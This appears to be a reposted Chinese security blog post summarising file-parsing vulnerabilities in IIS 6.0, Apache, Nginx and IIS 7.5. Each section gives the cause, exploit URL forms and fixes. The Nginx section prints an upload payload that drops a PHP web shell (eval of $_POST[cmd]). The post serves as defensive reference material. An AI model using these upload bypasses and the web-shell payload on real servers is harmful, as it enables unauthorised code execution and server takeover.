原文链接：
服务器解析漏洞算是历史比较悠久了，但如今依然广泛存在。在此记录汇总一些常见服务器的解析漏洞，比如IIS6.0、IIS7.5、apache、nginx等方便以后回顾温习。
（一）IIS 5.x-6.x解析漏洞
使用IIS 5.x-6.x版本的服务器，大多为Windows Server 2003，网站比较古老，网页开发语言一般为asp；该解析漏洞也只能解析asp文件，而不能解析aspx文件。
目录解析(6.0)
形式：www.xxx.com/xx.asp/xx.jpg
原理：服务器默认会把.asp、.asa目录的文件都解析成asp文件。
文件解析
形式：www.xxx.com/xx.asp;.jpg
原理：服务器默认不解析";"号后面的内容，因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIIS6.0默认的可执行文件除了asp之外，还包括如下三种：
/test.asa
/test.cer
/test.cdx
修复方案
1、目前尚无微软官方的补丁，可以通过自己编写正则，阻止上传xx.asp;.jpg类型的文件名。
2、做好权限设置，限制用户创建文件夹。
（二）Apache解析漏洞
漏洞原理
Apache解析文件的规则是从右到左开始判断解析的，如果后缀名为不可识别文件类型，就再向左判断。如：test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
漏洞形式
www.xxx.com/test.php.php123
其余配置问题导致漏洞
（1）如果在Apache的conf里有这样一行配置 AddHandler php5-script .php，这时只要文件名里包含.php，即便是test2.php.jpg也会以php来执行。
（2）如果在Apache的conf里有这样一行配置 AddType application/x-httpd-php .jpg，即便是扩展名是jpg，一样能以php方式执行。
修复方案
1、Apache配置文件，禁止.php这样的文件执行，在配置文件中加入：
<Files ~ “.(php.|php3.)”> Order Allow,Deny Deny from all </Files>
2、用伪静态能解决这个问题，重写类似.php.*这类文件，打开Apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
去掉注释"#"，重启Apache，在网站根目录下创建.htaccess文件，内容如下：
<IfModule mod_rewrite.c> RewriteEngine On RewriteRule .(php.|php3.) /index.php RewriteRule .(pHp.|pHp3.) /index.php RewriteRule .(phP.|phP3.) /index.php RewriteRule .(Php.|Php3.) /index.php RewriteRule .(PHp.|PHp3.) /index.php RewriteRule .(PhP.|PhP3.) /index.php RewriteRule .(pHP.|pHP3.) /index.php RewriteRule .(PHP.|PHP3.) /index.php </IfModule>
（三）Nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”，然后构造成SCRIPT_FILENAME传递给PHP CGI，但是PHP为什么会接受这样的参数，并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项，那么就会触发在PHP中的如下逻辑：
“PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就会将phpinfo.jpg作为PHP文件来解析了。”
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20 .php
另外一种手法：上传一个名字为test.jpg，文件内容如下：
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php，在这个目录下就会生成一句话木马shell.php。
修复方案
1、修改php.ini文件，将cgi.fix_pathinfo的值设置为0；
2、在Nginx配置文件中添加如下代码：
if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; }
这行代码的意思是当匹配到类似test.jpg/a.php的URL时，将返回403错误代码。
（四）IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似，都是由于php配置文件中，开启了cgi.fix_pathinfo，而这并不是nginx或者iis7.5本身的漏洞。